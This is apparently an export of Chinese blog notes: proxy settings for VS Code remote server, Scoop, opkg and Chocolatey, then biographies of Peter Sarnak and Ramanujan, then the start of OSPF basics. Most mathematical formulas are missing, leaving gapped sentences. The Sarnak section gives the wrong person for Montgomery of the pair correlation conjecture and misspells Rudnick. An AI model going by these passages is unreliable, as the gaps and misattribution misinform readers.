主机没有默认网络链接或在墙内，会导致问题。 SSH 主机无网络需要手动下载 vscode 的 server 端传输部署。详情见链接 How can I install vscode-server in linux offline [duplicate] download-vs-code-server.sh SSH 主机在墙内虽然文档未提及，但是可以使用 WSL 模式的方案，配置 ~/.vscode-server/server-env-setup 文件设置代理。 SSH 主机有代理程序监听在 17070 端口： 新建 ~/.vscode-server/server-env-setup 文件，该文件会在 VSCode 启动 WSL 环境后被 source。 server-env-setupexport http_proxy=http://127.0.0.1:17070export https_proxy=$http_proxyexport all_proxy=$http_proxy ReferencesRemote Development using SSH Scoopscoop config proxy 127.0.0.1:1080 ReferenceUsing Scoop behind a proxy OpenWRT opkg在 LUCI 面版菜单配置或者 /etc/opkg.conf 末尾追加 /etc/opkg.confoption http_proxy http://localhost:1080/ References[OpenWrt Wiki] Opkg package manager Chocolatey从 0.9.9.9 版本开始，choco 支持在配置文件显式配置代理。 # 设置代理choco config set proxy http://localhost:8888# 取消代理choco config unset proxy 除此之外，从 0.10.4 版本开始，choco会自动寻找http_proxy和https_proxy或者noproxy环境变量，通过在命令行临时设置环境变量的方式也可以方便调整choco的代理设置。 ReferenceChocolatey Software Docs | Use Chocolatey w/Proxy Server"},{"title":"","date":"2026-04-04T03:07:00.000Z","updated":"2026-05-03T03:10:00.000Z","comments":true,"path":"notes/person/10.html","permalink":"https://blog.mhuig.top/notes/person/10","excerpt":"","text":"Sarnak Sarnak 生平彼得・克莱夫・萨纳克（Peter Clive Sarnak，1953- ）是南非 - 美国籍数学家，出生于南非约翰内斯堡（Johannesburg）的一个犹太裔家庭。大约八岁时，Sarnak 随家人一同到以色列生活了两年，之后又回到南非。回到南非后，他进入了位于 Johannesburg 维多利亚公园的国王大卫卫学校就读。 中学时，学校的数学课对他来说很简单、没什么挑战性，因此他那时的主要精力都在国际象棋上。 作为国际象棋选手，Sarnak 参加过国家级和国际级比赛，并在南非的青少年和成年组比赛中都取得了不错的成绩，先成为南非青少年国际象棋冠军，然后获得罗得西亚冠军。 Sarnak 高中最后一年时告诉父亲，他要出国成为一名职业棋手。然而，他的父亲坚持让他先完成大学学业。 1971 年，萨纳克从大卫国王学校毕业，进入 Witwatersrand 大学（金山大学，又称威特沃特斯兰德大学），遵从父亲的建议学习物理学。大学第一年，Sarnak 便向老师抱怨说自己不喜欢物理实验，在老师的建议下，Sarnak 转向学习数学，这成了他数学生涯的开端。 与中学数学不同，大学数学不同的思考方式燃起了 Sarnak 对数学的兴趣：“最打动我的，是我在大学一年级学习数学时接触到的抽象思想；更具体地说，是那种通过概念性的思考，可以让一个问题的求解和一套理论的理解都变得完全清晰透明的力量。我记得，第一门抽象线性代数课程点燃了我的兴趣；还有一门拓扑课，也让我产生了强烈的愿望，想要去学习并理解更多的数学。” 本科时期令他印象很深的是一门由时任数学院院长 Sears 讲授的 Banach 代数课程：“我的一位老师 D. B. Sears（他是英国分析学家 E. C. Titchmarsh 为数不多的学生之一，研究方向是微分算子的谱理论）曾开设过一门关于 Gelfand 的 Banach 代数理论的课程。这门课的目的，在于展示这一优美理论的强大力量及其广泛应用，它给我留下了极其深刻的印象 —— 这是我第一次接触到现代数学的真正面貌。” 最终，Sarnak 被现代数学理论深深吸引，决定放弃最初成为职业棋手的目标，转为成为一名数学家。 本科期间，Sarnak 结识了日后的海伦・尼森鲍姆（Helen Nissenbaum，1954-）。她主攻哲学，之后同 Sarnak 一同赴美留学并在 1977 年结婚。两人育有三个女儿。 Helen 目前是 Cornell 大学的信息科学教授，因提出 “语境完整性（contextual integrity）” 而闻名。 1976 年，本科毕业的 Sarnak 离开南非，并到 Stanford 大学攻读博士学位。最初 Sarnak 想学习数理逻辑，于是他找了当时该方向的领军人物科恩（Paul Joseph Cohen，1934-2007）（1966 年 Fields 奖得主，证明了连续统假设、选择公理与 ZF 公理体系独立）做他的博士导师。 此时，Cohen 的兴趣已经脱离数理逻辑，他带着 Sarnak 一起研读 Selberg 数论方向的工作：“Paul Cohen 是我的博士导师，他对我的数学品味、知识、洞见与直觉都产生了极其重要的影响。他关于数学统一性的看法 —— 也就是一个人其实并不需要把自己局限在某一个狭小的子领域中 —— 给我留下了极深的印象。我和 Paul 一起研读了相当大一部分 Selberg 的著作，而我自己工作的核心，也在很大程度上是由 Selberg 的思想所塑造并深受其影响的。” 学习 Selberg 工作的经历使得 zeta 函数、自守形式成为日后 Sarnak 研究的重点；同时得益于 Cohen 广泛的兴趣和研究风格，Sarnak 日后的研究也具有独特的直觉和视野，将谱分析、随机矩阵理论、自守形式和图论等看似迥异的领域编织在一起。 Atle Selberg(1917-2007) 1980 年，Sarnak 提交了题为《素测地线定理》（Prime geodesic theorem）的博士论文，并被授予博士学位。毕业后，Sarnak 曾在包括 New York 大学、Stanford 大学、Caltech 在内的多所大学担任研究员和教职。 1991 年，他入职 Princeton 大学。他于 1999 年成为普林斯顿高等研究院（IAS）的成员，并于 2007 年加入该研究院任教；目前他仍在 Princeton 大学和高等研究院担任教授。 Sarnak 的学术贡献不仅限于自身的研究。他在学校开设的解析数论课程备受好评，并于 2014 年获得 Princeton 大学的 Phi Beta Kappa 教学奖。作为研究生导师，Sarnak 已指导过超 60 名博士生，他们中很多都成长为世界一流的数论、分析学家，其中还包括 2018 年的 Fields 奖得主文卡特什（Akshay Venkatesh，1981- ）。 Sarnak 长期担任各类重要刊物、丛书的编委，其中包括 Ann of Math.、Compositio、Duke、GAFA 等等。 Sarnak 曾荣获 1998 年 Pólya 奖、2001 年 Ostrowski 奖、2003 年 Levi L Conant 奖、 2005 年 Cole 数论奖、2012 年 Lester R Ford 奖、2014 年 Wolf 奖、2019 年 Sylvester 奖章、以及 2024 年邵逸夫奖。他是 1990、1998 年 ICM 的受邀报告人。此外，他还拥有多所大学的荣誉学位，并于 2002 年当选为美国国家科学院院士和英国皇家学会会士。 贡献一、素测地线定理（Prime geodesic theorem）与相关结果Riemannian 流形上的测地线是几何中重要的研究对象。 对于一个双曲曲面 上的闭测地线 ，若其对应的同伦类 是基本群 的素元，则称 是一条素测地线（prime geodesic）。 素测地线可以看作素数在几何情形的类比。受经典素数定理启发，Sarnak 在他的博士论文中探究了素测地线的渐近分布。利用 Selberg 迹公式，Sarnak 得到了如下渐近公式： 误差项 其中 表示长度小于 的素测地线的个数， 为对数积分函数。 正如素数定理中的误差项与 Riemann-Zeta 函数有密切的联系，素测地线定理中误差项与曲面的 Selberg-Zeta 函数的零点分布、Laplace–Beltrami 算子特征值的分布等重要问题有着深刻联系，对误差项更精确的估计是当代数论、谱几何等方向的重要问题。 Sarnak 还证明了经典的 Chebotarev 密度定理在素测地线情形的类比。 在取 为模曲面时，素测地线的长度与实二次域的 regulator 密切相关，通过这一联系 Sarnak 还计算了并得到了实二次域类数的平均值公式。 二、- 函数的零点分布中的 Katz-Sarnak 哲学 - 函数的零点是数论中重要的研究对象。例如经典的 Riemann 猜想便断言 Riemann-Zeta 函数的所有非平凡零点均位于实部等于 给出的直线上。 除了研究单个 - 函数的零点，人们还关心一族 - 函数零点分布的统计行为。 受蒙哥马利（Peter Lawrence Montgomery，1947-2020）关于 Zeta 函数零点 “配对关联猜想”，以及 Odlyzko 的数值实验证实其符合随机矩阵理论（RMT）中的 Gaussian 酉系综（GUE）统计规律，基于前人结果和数值观察，Katz 与 Sarnak 提出： - 函数在 Conducter 趋于无穷时，它们在实轴附近零点的分布行为可以被某些特殊的随机矩阵的特征值分布描述。这一哲学被称为 - 函数的随机矩阵模型，亦或 Katz-Sarnak 哲学。 在他们的经典著作《随机矩阵、Frobenius 特征值和单值化》（Random matrices, Frobenius eigenvalues and monodromy）中，Sarnak 与 Katz 系统地研究了函数域上的 - 函数与随机矩阵的关系。在书中，Katz-Sarnak 处理了两部分迥然不同的内容： 前一部分主要研究函数域上的 - 函数，主要运用来自代数几何的工具（例如应用 Deligne 关于 Weil 猜想的结果和 -adic 层单值群计算）； 第二部分则关于随机矩阵理论，他们研究了取值在经典群中极大紧子群的随机矩阵的特征值分布，以分析工具为主。 这两部分结合在一起，为他们的一般哲学提供了强力佐证。 函数域情形的 - 函数与数域情形一般来说差别很大。Sarnak 还在后续与 Rudenick、Iwaniec、Iwaniec-Luo 等数学家合作，进一步推动这一哲学在更加困难的数域情形的研究。 例如，他们在假设 Riemann 猜想的前提下，证明了根数（root number）是 和 的模形式的 - 函数的零点分布分别对应于取值于偶正交群、奇正交群的随机矩阵模型。 三、量子唯一遍历性猜想（Quantum unique ergodicity conjecture）这一猜想源于混沌系统的量子 / 经典对应关系。1991 年，彼时同在斯坦福大学的 Sarnak 与 Rudenick 接触到了一些关于混沌台球的奇怪数值模拟报告。他们从数值结果观察到，处于激发态的量子粒子可能会集中在对应经典粒子的周期性轨迹上。这种现象在物理文献中被称为 “疤痕（Scar）”。 Sarnak 和 Rudenick 在数学上严格的定义了 “疤痕”。随后，他们尝试在曲面情形计算出一些例子，却发现在负曲率时找不到这样的现象。 基于这一观察，他们提出了一个猜想：在某些足够混沌的系统中，例如考虑在负曲率曲面上的粒子，这些 “疤痕” 不会出现。 严格来说, 设 是一个有限体积的双曲流形, 取 Laplace-Beltrami 算子的特征函数 满足它们对应的特征值递增, 且 范数均为 1 。那么 Sarnak-Rudenick 的量子唯一遍历性猜想预测: 极限对 \"足够好\" 的测试函数 成立 林登斯特劳斯 (Elon Lindenstrauss, 1970-) 在 是算术曲面时证明了猜想, 这是他获得 2010 年 Fields 奖的重要原因。 四、Ramanujan 图（Ramanujan graph）的具体构造扩展图（Expander graph）是一种具有强连通性质的稀疏图，可用边扩展性、顶点扩展性或谱扩展性三种方式来量化，在复杂性理论、构造伪随机性、纠错码、网络通讯等方面有许多应用。粗略的说，对于一个 - 正则图 ，若其邻接矩阵的绝对值第二大的特征值有一定的上界，则可以称该图具有良好的谱扩展性。出于应用，对于给定的 ，人们希望找到一族顶点数趋于无穷且具有良好谱扩展性的图。 利用源于数论的想法，Lubotzky-Phillips-Sarnak 于 1988 年构造了无穷多的 正则图，其中 是模 4 余 1 的素数，它们的邻接矩阵的绝对值第二大的特征值满足不等式 根据 Alon-Boppana 的结果，这一上界在渐近意义下是最优。 为了证明他们构造的图满足这一上界，Sarnak 与合作者使用了数论中的 Ramanujan 猜想已被证明的特殊情形。因此这类图被他们称为 Ramanujan 图 。这在当时是革命性的，此前人们对这类图的了解多来自于概率方法，人们只知道它们的存在性，但缺乏具体构造方法。 这一出人意料的论文是第一次具体地构造出一族存在具有最优扩张性质的扩张图。这一成果立即对理论计算机科学产生了影响，揭示了数论与其他方向的深刻联系。 五、关于 Möbius 函数（Möbius function）的 Sarnak 猜想Möbius 函数 是数论中的重要函数。如果 是无平方因子数，即 为两两不同素数 则 Möbius 函数 而对于有平方因子的 ，定义 。 数 质因数个数的奇偶性是一个难以捉摸的量，它蕴含着大量信息，计算这个奇偶性的复杂度与将 进行质因数分解是同样困难的，从而可以认为 Möbius 函数作为 的函数会表现出很强的随机性。例如，Riemann 猜想的成立等价于阶数估计 对任意的 成立。 更一般地，人们期待对于 “低复杂度” 的有界函数 ，部分和 的不同项之间会产生抵消，导致部分和与期望不同。这种直观被称为 Möbius 随机性原理 。 2010 年左右 Sarnak 推广了这一观察。他猜测：对于紧度量空间 以及熵为 0 的连续映射 ，等式 对于 上任意连续函数 以及 成立。 当 是常值函数时，上述等式等价于素数定理。这一猜想（及其推广形式）与数论中其它重要猜想有很深的联系，是当代数论、动力系统的重要研究课题之一。 六、薄群与仿射筛法（Thin group and affine sieve method）寻找素数一直是数论的核心主题，人们希望找到多项式函数 ，使得对于无穷多个整数 ， 都是素数。 例如， 就是这样一个函数。我们可以扩展这个问题，要求 几乎取素值，也就是说，对于无穷多个整数 ， 是有限个素数的乘积。 例如，孪生素数猜想等价于 对于无穷多个整数 的两个素数的乘积。 陈景润（1933-1996）曾用组合筛法证明对于无穷多个整数 ，该函数至多有 3 个素因子。 我们还可以限制 的取值范围，例如要求它们位于某个整数的稀疏子集中，然后考虑类似的问题。 Sarnak 率先在稀疏子集中寻找多项式的近似素值，这些稀疏子集是薄群（Thin group）的轨道。薄群是算术群（arithmetic group）的一类特殊子群：它既不太大（指它的余体积（covolume）无限），也不太小（指与算术群本身具有相同的 Zariski 闭包）。薄群在许多问题中自然出现。 例如，Apollonian 圆锥积（Apollonian circle packing）的对称群就是一个薄群。此外，在 Klein 群以及微分方程的单值群（monodromy group）中都能找到很多薄群的例子。 Sarnak 预见到可以利用薄群的有限商群的扩展性来生成殆素数（almost prime），因此发展了仿射筛法。 Sarnak 与 Bourgain 和 Gamburd 合作，利用一些薄群构造了扩展图。 这一构造基于 Sarnak 和 Xue 之前建立的有限线性群表示的最小维数与扩展图之间的关系。 对于给定整系数多元多项式函数，Sarnak 与 Bourgain 和 Gamburd 考虑了它在一个薄群轨道上的值何时为殆素数，他们得到了关于这些点的精确计数和等分布结果 Sarnak 与 Golsefidy 一起证明，在一些自然的假设下，一个整数多项式函数在薄群轨道的 Zariski 稠密子集中的值都是殆素数。 这一系列工作将组合数学和遍历数学的理论方法引入丢番图问题，产生了深远的影响。"},{"title":"","date":"2026-05-08T01:07:00.000Z","updated":"2026-05-08T01:10:00.000Z","comments":true,"path":"notes/person/11.html","permalink":"https://blog.mhuig.top/notes/person/11","excerpt":"","text":"Ramanujan Ramanujan 生平斯里尼瓦瑟・拉马努金（Srinivasa Ramanujan, 1887-1920）于 1887 年出生在他祖母位于埃罗德的家中，埃罗德是距离马德拉斯（现称为钦奈）约 400 公里的小村庄。在 Ramanujan 一岁时，他的母亲带他到距离马德拉斯约 160 公里的库姆巴科南镇居住。他的父亲在库姆巴科南一家布商店担任文员。 Ramanujan 一岁半时，他的母亲生下了一个儿子萨达戈潘，但不幸的是，这个孩子在不到三个月后去世了。 1889 年，2 岁的 Ramanujan 感染了天花，但他幸运地康复了，而当时坦贾武尔地区的 4000 多人在那一年因天花去世。1891 年和 1894 年，他母亲又生了两个孩子，但这两个孩子都在一岁前去世了。 Ramanujan 快五岁时，进入库姆巴科南的一所小学，不过他上过几所不同的小学。 由于 Ramanujan 的父亲大部分时间都在工作，他的母亲负责照顾他，母子关系非常亲密。他从母亲那里学到了许多传统知识，学会了唱宗教歌曲，参加寺庙的祭祀仪式，并遵循婆罗门文化中特定的饮食习惯。 在小学时期，Ramanujan 表现出色。1897 年 11 月，10 岁的他通过了英语、泰米尔语、地理和算术的初等考试，并在该地区取得了最高分。 1898 年，11 岁的 Ramanujan 进入了镇高等中学，在那里他正式接触到数学。在镇高等学校，Ramanujan 在各科表现优异，展现出全方面的学习能力。 他借阅了一本由洛尼（Sydney Luxton Loney, 1860-1939）撰写的高级三角学书籍，并在 13 岁时掌握了其内容。他在数学考试中只用了一半时间完成，并显示出对几何学和无穷级数的熟悉。 1902 年，他学习了解三次方程的解法，并随后开发了自己解决四次方程的方法。 次年，由于不知道五次方程无法用代数方法求解，他尝试（当然失败了）解决五次方程。 这本书风格简洁，帮助 Ramanujan 自学数学，但也影响了他日后书写数学的方式，因为这是他唯一接触到的数学论证书写风格。书中包含定理、公式和简短的证明，还附有 19 世纪上半叶在欧洲学会期刊上发表的纯数学论文的索引。 该书出版于 1886 年，当 Ramanujan 使用时已经显得过时了。 到 1904 年，Ramanujan 已经开始进行深入的数学研究。他研究了级数 并将欧拉常数计算到了小数点后 15 位。他还开始研究伯努利数 ，这是他独立的重新发现： 凭借优异的学业表现，Ramanujan 获得了库姆巴科南政府学院的奖学金，并于 1904 年进入该校。然而，由于他越来越多的时间花在数学上，忽视了其他科目，次年他的奖学金未能续期。没了经济来源，他很快陷入困境，并在没有告知父母的情况下逃往距离马德拉斯约 650 公里的维沙卡帕特南。 他继续从事数学研究，这段时间他研究了超几何级数，并探讨了积分与级数之间的关系。后来他发现自己实际上是在研究椭圆函数。 1906 年，Ramanujan 前往马德拉斯，进入了帕查雅帕学院。他的目标是通过第一艺术考试，以便进入马德拉斯大学。他在帕查雅帕学院听课，但三个月后生病了。他在退学后参加了第一艺术考试，虽然数学科目及格，但其他科目不及格，因此未能通过考试，也无法进入马德拉斯大学。 在接下来的几年里，他继续独立发展自己的数学思想，除了 Carr 的书外，他对当时的研究课题几乎一无所知。 1908 年，Ramanujan 继续他的数学研究，特别是连分数和发散级数。此时他再次严重生病，并于 1909 年 4 月接受了手术，康复过程耗费了不少时间。 同年 7 月 14 日，在母亲的安排下，他与年幼的贾纳基（Janaki，1899-1994）结婚，按照当时的习俗，婚后 Janaki 继续留在娘家直到进入青春期才与 Ramanujan 共同生活。 Ramanujan 提出了大量等式，许多在之后得到了更深入的研究。 在手术后拉马努金开始寻找工作。1910 年，Ramanujan 遇到了印度数学学会的创始人、副征税官艾耶（V. Ramaswamy Aiyer，1871-1936）。希望在 Aiyer 所在的税务部门谋得一份工作，Ramanujan 向他展示了自己的数学笔记。Aiyer 后来回忆道：“我被笔记中的非凡数学成果深深打动。我不想通过安排他在税务部门最低级别的职位来埋没他的天才。” Aiyer 给了 Ramanujan 推荐信，并将他介绍给在马德拉斯的数学家朋友们。他们中的一些人查看了 Ramanujan 的工作，并给了他介绍信，推荐他去见印度数学学会秘书拉奥（Raghunatha Rao Ramachandra Rao，1871-1936）。Rao 对 Ramanujan 的研究印象深刻，但怀疑这些成果是否是他自己独立完成的。Rao 同意给 Ramanujan 一次机会，并听取了他关于椭圆积分、超几何级数及其发散级数理论的讨论，最终 Rao 被他的才华所折服。 他在回忆中写道：“一个矮小、粗陋、发胖、没有刮胡子、衣着不太干净的人走了进来，手臂下夹着一本破旧的笔记本，唯一显眼的特征是他那闪亮的眼睛。他非常贫困…… 他打开了笔记本，开始解释他的一些发现。我立刻意识到他与众不同，但我的知识不够判断他所讲的是有道理还是无稽之谈…… 我问他需要什么。他说他需要一点生活费，好让他能够继续进行研究。” 在 Aiyer 的帮助下，Ramanujan 在印度数学协会发表了文章，提出一些问题和解决问题。他最早提的问题中包括求解以下式子的值： 他等了三刊（六个月）之后，自己给出了一个不完全的解答。在他的笔记里写下了这样一个式子， Ramanujan 在印度数学协会发表的第一篇正式文章是《一些关于伯努利数的性质》（Some Properties of Bernoulli’s Numbers, 1911）。其中的一个性质，是伯努利数 （ 是偶数）是分数且它的分母总是可以被 6 整除。 此外，他还设计了一种基于前几个伯努利数来计算 的方法。这一发现为伯努利数的研究提供了新的见解，显示了他对复杂数学模式的深刻洞察力。 Rao 建议他回到马德拉斯，并尝试为他安排奖学金，但未能成功。1912 年，Ramanujan 申请了马德拉斯港务局会计部门的职员职位。 在他的申请信中，他写道：“我通过了中学毕业考试，并学到了艺术学士学位课程，但由于一些不幸的情况，未能继续学业。然而，我将所有时间都投入到数学上，并在这个领域取得了进展。” 尽管他没有大学教育背景，Ramanujan 显然已经在马德拉斯的大学数学家中小有名气，因为他在申请信中附上了一封来自马德拉斯总统学院数学教授米德尔马斯（Edgar William Middlemast，1864-1915）的推荐信。Middlemast 毕业于剑桥大学圣约翰学院，他写道：“我强烈推荐这位申请人。他在数学方面有着非凡的才能，尤其擅长数论。他在计算方面有着天然的天赋，并且计算速度非常快。” 三周后，Ramanujan 得知自己被录用为会计文员，月薪 30 卢比。在工作中，Ramanujan 轻松快速地完成了分配的任务，利用空闲时间进行数学研究。Ramanujan 很幸运地遇到了一些在数学方面有培训背景的人。 事实上，马德拉斯港务局的首席会计师艾亚尔（S. Narayana Iyer）接受过数学培训，并于 1913 年发表了一篇关于 Ramanujan 工作的论文，题为《素数的分布》。 马德拉斯工程学院的土木工程教授格里菲斯（Griffith）也对 Ramanujan 的才能很感兴趣，他曾在伦敦大学学院接受教育，并认识那里的数学教授希尔（Micaiah John Muller Hill，1856-1929）。1912 年 11 月 12 日，他写信给希尔，寄去了 Ramanujan 的一些工作成果和他 1911 年关于伯努利数的论文副本。 Hill 评论说，Ramanujan 的论文充满了漏洞。他表示，尽管 Ramanujan“对数学有兴趣，并具备一定能力”，但缺乏必要的教育背景和数学基础，因此很难被数学界接受。虽然 Hill 并未提议接纳 Ramanujan 为学生，但他对 Ramanujan 的工作提供了详细而严肃的专业建议。 1913 年 1 月，Ramanujan 在看过哈代（Godfrey Harold Hardy，1877-1947）1910 年出版的《无穷的阶》（Orders of infinity）后，给 Hardy 写了一封信，自我介绍并介绍了他的工作：“我没有接受过大学教育，但我完成了普通的学校课程。离校后，我将闲暇时间用于数学研究。我没有走大学常规的正规课程，而是为自己开辟了一条新路。我对发散级数进行了特殊的研究，当地的数学家称我的成果为‘令人震惊’。” 由于 Ramanujan 是个不为人知的数学家，Hardy 最初将 Ramanujan 的九页数学手稿视为可能的骗局。 Hardy 认出了一些公式，但其他公式 “几乎让人难以置信”。 Hardy 发现的一些定理令他感到惊讶，特别是第 3 页底部的一个定理。Hardy 还对 Ramanujan 的一些关于无穷级数的工作印象深刻： Hardy 与李特尔伍德（John Edensor Littlewood，1885-1977）仔细研究了 Ramanujan 随信附上的一长串未证明的定理。与 Littlewood 讨论后，Hardy 得出结论，这些信件 “无疑是我收到的最令人惊叹的”，并且 Ramanujan 是一位 “最高水平的数学家，具备非凡的原创性和力量”。 1913 年 2 月 8 日，Hardy 回信给 Ramanujan，信中开头写道：“我对您的信件和您所陈述的定理非常感兴趣。不过，您应该理解，在我能够正确评估您所取得的成果之前，我必须看到您对其中一些断言的证明。您的成果大致可以分为三类：(1) 有一些结果已经为人所知，或很容易从已知定理中推导出来；(2) 有一些结果据我所知是新的且有趣，但更有趣的是其新奇性和表面上的难度，而不是其重要性；(3) 有一些结果似乎既新颖又重要……” Ramanujan 对 Hardy 的回信非常高兴，并在再次写信时表示：“我在您身上找到了一个能同情我劳动的朋友…… 我已经在饥饿边缘了。为了保持我的头脑正常，我需要食物，这是我最关心的事情。您任何富有同情心的信件都会帮助我在这里获得一份奖学金，无论是来自大学还是政府。” Ramanujan: \"I have found a friend in you who views my labours sympathetically. ... I am already a half starving man. To preserve my brains I want food and this is my first consideration. Any sympathetic letter from you will be helpful to me here to get a scholarship either from the university of from the government.\" 为了补充 Hardy 的推荐，剑桥三一学院前数学讲师沃克（Gilbert Thomas Walker，1868-1958）审阅了 Ramanujan 的工作，表达了对他的赞叹，敦促 Ramanujan 在剑桥待一段时间。由于 Walker 的支持，Rao 邀请 Ramanujan 的同事 Iyer 参加数学研究委员会会议，讨论 “我们能为 Ramanujan 做些什么”。委员会同意为 Ramanujan 提供每月 75 卢比的研究奖学金，为期两年。在研究生期间，Ramanujan 继续向《印度数学学会杂志》提交论文。 1914 年，Hardy 将 Ramanujan 带到剑桥大学三一学院，开始了一段非凡的合作。促成这件事并不容易。Ramanujan 是一个正统的婆罗门教徒，严格素食主义者。 他的宗教信仰本应阻止他旅行，但在内维尔（Eric Harold Neville，1889-1961）的帮助下，这一问题得以解决。Neville 是 Hardy 在三一学院的同事，在印度讲学时曾与 Ramanujan 会面。 Ramanujan 于 1914 年 3 月 17 日从印度出发，除了三天晕船外，整个航程十分平稳。他于 1914 年 4 月 14 日抵达伦敦，Neville 在伦敦迎接他。四天后，他们前往剑桥，Ramanujan 在 Neville 的家中住了几周，直到 4 月 30 日搬进了三一学院的宿舍。尽管如此，从一开始，他的饮食问题就成为了困扰。第一次世界大战的爆发让获取特殊食品变得更加困难，Ramanujan 很快就出现了健康问题。 从一开始，Ramanujan 与 Hardy 的合作就带来了重要成果。然而，Hardy 对如何解决 Ramanujan 缺乏正规教育的问题感到不确定。他写道：“该如何教他现代数学呢？他的知识的局限性与其深度一样令人震惊。” Littlewood 被邀请帮助 Ramanujan 学习严格的数学方法。然而这件事极其困难，因为每当提到某个被认为 Ramanujan 需要了解的事项时，Ramanujan 的反应总是一连串的原创想法，使得 Littlewood 几乎无法坚持最初的想法。 战争很快把 Littlewood 带到了战场，但 Hardy 留在剑桥继续与 Ramanujan 合作。即使在他在英国的第一个冬天，Ramanujan 就病倒了。1915 年 3 月，他写道由于冬季的气候原因他一直生病，五个月没有发表任何东西。 他在英国所发表的工作都是在英国完成的成果。他决定推迟发表他在印度期间的工作，许多成果他已经通过信件与 Hardy 交流，直到战争结束后才被发表。 1916 年 3 月 16 日，Ramanujan 获得了剑桥大学的研究型文学士学位（该学位从 1920 年起被称为博士学位）。Ramanujan 的论文题为《高度合成数》（Highly composite numbers），其中包括他在英国发表的七篇论文。 1917 年，Ramanujan 病情严重，医生们担心他可能不久于人世。到 9 月时，他的情况稍有好转，但大部分时间还是在各种疗养院中度过。 1918 年 2 月，Hardy 说：“大家一直不能确定他的病情。Shaw 发现了其他医生所不知道的情况，即 Ramanujan 大约四年前接受过一次手术。他最糟糕的推测是，这次手术实际上是为了切除被误诊的恶性肿瘤。然而，考虑到他的状况并没有比六个月前更糟，他现在已放弃这个推测 —— 其他医生从未支持过这个观点。自从放弃了最初的胃溃疡想法以来，结核病是被临时接受的诊断。像所有印度人一样，他对命运持有宿命论的态度，要让他好好照顾自己是非常困难的。” 1918 年 2 月 18 日，Ramanujan 当选为剑桥哲学学会会员，三天后，他获得了最为重要的荣誉 —— 他被提名为伦敦皇家学会的会员。提名他的是一长串杰出的数学家，包括 Hardy、麦克马洪（Percy MacMahon, 1854-1929）、Grace、拉摩尔（Joseph Larmor, 1857-1942）。布罗姆维奇（Thomas John I'Anson Bromwich, 1875-1929）、霍布森（Ernest William Hobson, 1856-1933）、贝克（Henry Frederick Baker, 1866-1956）、Littlewood、Nicholson、杨（William Henry Young, 1863-1942）。惠特克（Edmund Taylor Whittaker, 1873-1956）、福塞思（Andrew Russell Forsyth, 1858-1942）和怀特海德（Alfred North Whitehead, 1861-1947）。 1918 年 5 月 2 日，Ramanujan 正式当选为伦敦皇家学会会员，接着在 1918 年 10 月 10 日，他被选为剑桥大学三一学院的研究员，任期六年。 这些荣誉似乎帮助 Ramanujan 的健康略有改善，他重新投入到数学研究中。到 1918 年 11 月底，Ramanujan 的健康状况大为好转。 Hardy 在一封信中写道：“我想我们现在可以希望他已经度过了难关，走上了真正康复的道路。他的体温已经不再异常，而且体重增加了很多…… 他的非凡数学天赋从未有任何减退的迹象。虽然他在病中产出的成果较少，但质量仍然保持不变…… 他将以一种前所未有的科学声望回到印度，我相信印度将会视他为珍宝。他的自然简朴和谦逊从未被成功所影响 —— 实际上，我们唯一需要做的就是让他意识到他确实已经取得了成功。” 这些荣誉似乎帮助 Ramanujan 的健康略有改善。1918 年，他重新投入到研究中，Hardy 和 Ramanujan 深入研究了划分函数（Partition function） —— 非负整数 可能的划分的数目，比如 ， ， 并提出了一个发散渐近级数，该级数允许精确计算整数的划分数。 1937 年，拉德马赫（Hans Adolph Rademacher，1892-1969）改进了他们的公式，找到了一个精确的收敛级数解。 Ramanujan 和 Hardy 在这一领域的工作催生了一种强大的新方法，用于寻找渐近公式，这就是著名的圆法（circle method）。 1919 年 2 月 27 日，Ramanujan 乘船回到印度，并于 3 月 13 日抵达。然而，他的健康状况变得非常糟糕，尽管接受了治疗，Ramanujan 还是在次年去世。 在生命的最后一年，Ramanujan 发现了 拟 函数（mock theta functions）。多年来，这些函数一直是一个谜团，但如今已知它们是调和弱马斯形式（harmonic weak Maass forms）的全纯部分。这一发现后来对分析和数论产生了深远影响。 Ramanujan 留下了一些未发表的笔记本，里面充满了公式，数学家们至今仍在研究这些内容。沃森（George Neville Watson，1886-1965）在 1918 年至 1951 年间担任伯明翰大学纯数学梅森教授，他以《Ramanujan 陈述的定理》为题发表 14 篇论文，总共发表近 30 篇受 Ramanujan 工作启发的论文。 Hardy 将他所拥有的 Ramanujan 的大量手稿传给 Watson，其中一些是 1914 年之前写的，另一些则是 Ramanujan 在印度的最后一年写的。 贡献Ramanujan 提出了大量公式，许多在之后得到了更深入的研究。Hardy 曾说，Ramanujan 的发现极为丰富，通常比最初看起来更加复杂。通过他的工作，许多新的研究方向被开启。例如，Ramanujan 的一些最引人注目的公式之一是用于计算 的无穷级数，其中之一如下： Ramanujan 的 级数收敛速度非常快，并且成为了用于计算 的一些最快算法的基础。仅取第一个项就能得到 的近似值准确到小数点后 6 位： 取前两项则能得到准确到 14 位的小数值。 虽然有许多可能以 Ramanujan 命名的猜想，但其中一个在后来的工作中产生了巨大影响。特别是，这个猜想与 Weil 在代数几何中的猜想之间的联系。他提出了三个关于 函数的性质，这里首先回忆函数由如下生成函数定义： 这里 且 。 Ramanujan 猜想的三个性质如下： ，如果 ； ，这里 是素数， ； 对任意素数 成立（即 Ramanujan 猜想）。 其中前两个被莫德尔（Louis Joel Mordell，1888-1972）在 1917 年证明。 而第三个性质涉及 函数的大小，它的生成函数是判别式模形式 ，这是模形式理论中典型的尖点形式（cusp form）。 1973 年，Ramanujan 猜想的第三部分作为德利涅（Pierre René Deligne, 1944-）证明 Weil 猜想的推论最终得以证明。 在他的论文《论某些算术函数》中，Ramanujan 定义了所谓的 函数，其系数被称为 （Ramanujan 函数）。他证明了这些数字的许多同余式，例如对于质数 ，有 。他所证明的这些同余式（及类似的其他同余式）启发了 Jean-Pierre Serre 提出一系列的猜想，即存在一种解释这些同余式的伽罗瓦表示理论，并且这一理论可以更广泛地解释更一般的模形式的同余性质，也是模 朗兰兹纲领的雏形。 是首个以这种方式被研究的模形式的例子，并且 Deligne 证明了 Serre 关于 的猜想。 模形式也是在 Serre、Deligne 等人的推进下得到重视，最终我们熟知的费马大定理的证明正是通过首先将椭圆曲线和模形式用这些伽罗瓦表示重新解释得以进行。"},{"title":"","date":"2023-12-26T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/16.html","permalink":"https://blog.mhuig.top/notes/datacom/16","excerpt":"","text":"OSPF 基础 OSPF 基础 动态路由AS (自治系统): 由同一个技术机构进行管理并且运行相同的路由选路策略的一组路由器. 动态路由分类按照使用范围分类: IGP: 内部网关协议, 运行于 AS 内部的路由协议 (RIP, OSPF, IS - IS) EGP: 